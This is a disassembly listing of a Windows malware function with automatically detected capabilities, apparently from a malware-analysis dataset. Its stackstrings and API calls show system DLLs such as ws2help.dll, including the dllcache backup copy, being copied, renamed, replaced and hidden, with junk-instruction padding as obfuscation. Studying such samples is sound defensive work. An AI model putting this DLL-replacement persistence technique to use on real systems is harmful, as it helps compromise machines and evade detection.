Function at 0x402920
Capabilities:
Contain obfuscated stackstrings
Copy file
Get common file path
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc44
push ebx
push esi
push edi
push 0x40531c
push 0x405310
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x14], eax
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x527]
mov byte [ebp - 0x528], 0
mov dl, 0x6c
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov bl, 0x70
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0xc3c]
mov byte [ebp - 0xc44], 0x5c
mov byte [ebp - 0xc43], dl
mov byte [ebp - 0xc42], bl
mov byte [ebp - 0xc41], 0x6b
mov byte [ebp - 0xc40], 0x2e
mov byte [ebp - 0xc3f], 0x64
mov byte [ebp - 0xc3e], dl
mov byte [ebp - 0xc3d], dl
rep stosd dword es:[edi], eax
mov ecx, 0x3e
lea edi, [ebp - 0xb36]
mov byte [ebp - 0xb40], 0x5c
mov byte [ebp - 0xb3f], 0x77
mov byte [ebp - 0xb3e], 0x78
mov byte [ebp - 0xb3d], bl
mov byte [ebp - 0xb3c], 0x32
mov byte [ebp - 0xb3b], 0x2e
mov byte [ebp - 0xb3a], 0x74
mov byte [ebp - 0xb39], 0x65
mov byte [ebp - 0xb38], 0x6d
mov byte [ebp - 0xb37], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x3d
xor eax, eax
lea edi, [ebp - 0x92a]
mov byte [ebp - 0x938], 0x5c
mov byte [ebp - 0x937], 0x77
mov byte [ebp - 0x936], 0x73
mov byte [ebp - 0x935], 0x32
mov byte [ebp - 0x934], 0x68
mov byte [ebp - 0x933], 0x65
mov byte [ebp - 0x932], dl
mov byte [ebp - 0x931], bl
mov byte [ebp - 0x930], 0x78
mov byte [ebp - 0x92f], bl
mov byte [ebp - 0x92e], 0x2e
mov byte [ebp - 0x92d], 0x64
mov byte [ebp - 0x92c], dl
mov byte [ebp - 0x92b], dl
mov byte [ebp - 0xa3c], 0x5c
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x3e
xor eax, eax
lea edi, [ebp - 0xa30]
mov byte [ebp - 0xa3b], 0x77
mov byte [ebp - 0xa3a], 0x73
mov byte [ebp - 0xa39], 0x32
mov byte [ebp - 0xa38], 0x68
mov byte [ebp - 0xa37], 0x65
mov byte [ebp - 0xa36], dl
mov byte [ebp - 0xa35], bl
mov byte [ebp - 0xa34], 0x2e
mov byte [ebp - 0xa33], 0x64
mov byte [ebp - 0xa32], dl
mov byte [ebp - 0xa31], dl
rep stosd dword es:[edi], eax
mov byte [ebp - 0x834], 0x5c
mov byte [ebp - 0x833], 0x64
mov al, 0x63
mov ecx, 0x3b
mov byte [ebp - 0x830], al
mov byte [ebp - 0x82e], al
xor eax, eax
lea edi, [ebp - 0x81f]
mov byte [ebp - 0x832], dl
mov byte [ebp - 0x831], dl
mov byte [ebp - 0x82f], 0x61
mov byte [ebp - 0x82d], 0x68
mov byte [ebp - 0x82c], 0x65
mov byte [ebp - 0x82b], 0x5c
mov byte [ebp - 0x82a], 0x77
mov byte [ebp - 0x829], 0x73
mov byte [ebp - 0x828], 0x32
mov byte [ebp - 0x827], 0x68
mov byte [ebp - 0x826], 0x65
mov byte [ebp - 0x825], dl
mov byte [ebp - 0x824], bl
mov byte [ebp - 0x823], 0x2e
mov byte [ebp - 0x822], 0x64
mov byte [ebp - 0x821], dl
mov byte [ebp - 0x820], dl
mov byte [ebp - 0x21c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x21b]
mov byte [ebp - 0x62c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x62b]
mov byte [ebp - 0x118], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x117]
mov byte [ebp - 0x320], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x31f]
mov byte [ebp - 0x730], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x72f]
mov byte [ebp - 0x424], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x423]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
nop
nop
pushal
popal
nop
lea eax, [ebp - 0x528]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
nop
nop
pushal
popal
nop
lea edi, [ebp - 0x528]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x21c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x21c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x834]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
pushal
popal
nop
lea edi, [ebp - 0x528]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x118]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
pushal
popal
nop
lea edi, [ebp - 0xa3c]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x118]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x320]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x528]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
pushal
popal
nop
or ecx, 0xffffffff
lea edi, [ebp - 0x938]
xor eax, eax
lea edx, [ebp - 0x320]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x730]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x528]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x730]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xc44]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [ebp - 0x62c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
nop
nop
pushal
popal
nop
lea edi, [ebp - 0xb40]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x62c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
pushal
popal
nop
lea eax, [ebp - 0x118]
push eax
call fcn.00402250
add esp, 4
nop
nop
pushal
popal
nop
lea ecx, [ebp - 0x320]
push ecx
call fcn.00402250
add esp, 4
nop
nop
pushal
popal
nop
lea edx, [ebp - 0x320]
push edx
call dword [ebp - 0x14]
test eax, eax
je 0x402e33
nop
nop
pushal
popal
nop
jmp 0x402f1c
nop
nop
pushal
popal
nop
lea eax, [ebp - 0x21c]
push 0x80
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
nop
nop
pushal
popal
nop
lea ecx, [ebp - 0x21c]
push ecx
call dword [ebp - 0x14]
test eax, eax
je 0x402eba
nop
nop
pushal
popal
nop
lea edx, [ebp - 0x320]
push 0
lea eax, [ebp - 0x21c]
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
nop
nop
pushal
popal
nop
push 3
call fcn.00402190
add esp, 4
lea ecx, [ebp - 0x21c]
lea edx, [ebp - 0x424]
push eax
push ecx
push 0x4052e8
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
nop
nop
pushal
popal
nop
lea eax, [ebp - 0x424]
push 3
push eax
lea ecx, [ebp - 0x21c]
jmp 0x402f15
nop
nop
pushal
popal
nop
lea edx, [ebp - 0x320]
push 0
lea eax, [ebp - 0x118]
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
nop
nop
pushal
popal
nop
push 4
call fcn.00402190
add esp, 4
lea ecx, [ebp - 0x118]
lea edx, [ebp - 0x424]
push eax
push ecx
push 0x4052e8
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
nop
nop
pushal
popal
nop
lea eax, [ebp - 0x424]
push 3
push eax
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
nop
nop
pushal
popal
nop
lea edx, [ebp - 0x62c]
push edx
push 0x68
push 0x405200
push 0
call fcn.00402000
add esp, 0x10
nop
nop
pushal
popal
nop
lea eax, [ebp - 0x118]
push 3
lea ecx, [ebp - 0x62c]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
test eax, eax
jne 0x402fe2
nop
nop
pushal
popal
nop
lea edx, [ebp - 0x118]
push edx
call dword [ebp - 0x14]
test eax, eax
je 0x402fb1
nop
nop
pushal
popal
nop
push 5
call fcn.00402190
add esp, 4
lea ecx, [ebp - 0x424]
push eax
lea eax, [ebp - 0x118]
push eax
push 0x4052e8
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea edx, [ebp - 0x424]
lea eax, [ebp - 0x118]
push 3
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
nop
nop
pushal
popal
nop
lea ecx, [ebp - 0x118]
push ecx
push 0x68
push 0x405200
push 0
call fcn.00402000
add esp, 0x10
nop
nop
pushal
popal
nop
lea edx, [ebp - 0x118]
push 4
push edx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
nop
nop
pushal
popal
nop
nop
nop
pushal
popal
nop
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x730]
push eax
push ecx
call fcn.00402110
add esp, 8
test eax, eax
je 0x403033
nop
nop
pushal
popal
nop
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
sub esp, 0x10
mov edx, esp
mov dword [edx], eax
mov eax, dword [ebp - 8]
mov dword [edx + 4], ecx
mov ecx, dword [ebp - 4]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea edx, [ebp - 0x118]
push edx
call fcn.00402080
add esp, 0x14
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret